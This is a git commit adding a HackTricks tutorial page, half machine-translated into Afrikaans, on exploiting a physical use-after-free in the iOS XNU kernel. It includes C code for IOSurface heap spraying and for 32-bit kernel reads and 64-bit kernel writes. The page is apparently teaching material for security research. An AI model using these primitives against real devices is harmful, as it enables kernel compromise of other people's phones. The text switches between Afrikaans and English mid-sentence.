mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to af
This commit is contained in:
parent
06b2aa014f
commit
ac94c62c6b
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Fisiese gebruik-na-vry
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
The **virtuele geheue-adresruimte** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **bladsy tabelle** to translate virtual addresses into actual **fisiese adresse**.
|
||||
|
||||
#### Vlakke van Bladsy Tabels in iOS
|
||||
|
||||
Bladsy tabelle is hiërargies georganiseer in drie vlakke:
|
||||
|
||||
1. **L1 Bladsy Tabel (Vlak 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
2. **L2 Bladsy Tabel (Vlak 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
3. **L3 Bladsy Tabel (Vlak 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
|
||||
#### Kaarting Virtuele na Fisiese Geheue
|
||||
|
||||
* **Direkte Kaarting (Blok Kaarting)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* **Wysiger na Kind Bladsy Tabel**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **kind bladsy tabel** at the next level (e.g., L2).
|
||||
|
||||
#### Voorbeeld: Kaarting 'n Virtuele Adres
|
||||
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
|
||||
1. **L1 Tabel**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
2. **L2 Tabel**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
3. **L3 Tabel**:
|
||||
* The kernel looks up the final L3 entry, which points to the **fisiese adres** of the actual memory page.
|
||||
|
||||
#### Voorbeeld van Adres Kaarting
|
||||
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **blok kaarting** at the L2 level.
|
||||
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
|
||||
### Fisiese gebruik-na-vry
|
||||
|
||||
A **fisiese gebruik-na-vry** (UAF) occurs when:
|
||||
|
||||
1. A process **alloceer** some memory as **leesbaar en skryfbaar**.
|
||||
2. The **bladsy tabelle** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **dealloceer** (vry) the memory.
|
||||
4. However, due to a **fout**, the kernel **vergeet om die kaarting** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **heralloceer this "vrygestel" fisiese geheue** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **lees en skryf** to this physical memory.
|
||||
|
||||
This means the process can access **bladsye van kernel geheue**, which could contain sensitive data or structures, potentially allowing an attacker to **manipuleer kernel geheue**.
|
||||
|
||||
### Eksploitasiestategie: Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
1. The attacker **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
|
||||
2. Each IOSurface object contains a **magiese waarde** in one of its fields, making it easy to identify.
|
||||
3. They **skandeer die vrygestelde bladsye** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **lees en skryf kernel geheue**.
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Stap-vir-Stap Heap Spray Proses
|
||||
|
||||
1. **Spray IOSurface-objekte**: The attacker creates many IOSurface objects with a special identifier ("magiese waarde").
|
||||
2. **Skandeer Vrygestelde Bladsye**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Lees/Skryf Kernel Geheue**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitraire lees en skrywe** in kernel geheue. This lets them:
|
||||
* Use one field to **lees enige 32-bit waarde** in kernel geheue.
|
||||
* Use another field to **skryf 64-bit waardes**, achieving a stable **kernel lees/skryf primitief**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Bereik Kernel Lees/Skryf met IOSurface
|
||||
|
||||
Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
|
||||
|
||||
**Belangrike Velde in IOSurface**
|
||||
|
||||
Die IOSurface objek het twee belangrike velde:
|
||||
|
||||
1. **Gebruik Tel Punter**: Laat 'n **32-bis lees** toe.
|
||||
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bis skryf** toe.
|
||||
|
||||
Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
|
||||
|
||||
#### 32-Bit Kernel Lees
|
||||
|
||||
Om 'n lees uit te voer:
|
||||
|
||||
1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
|
||||
2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Skryf
|
||||
|
||||
Om 'n skryf te doen:
|
||||
|
||||
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
|
||||
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
|
||||
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
|
||||
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
|
||||
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kernel read/write** via IOSurface-metodes moontlik te maak.
|
||||
|
||||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
Loading…
Reference in a new issue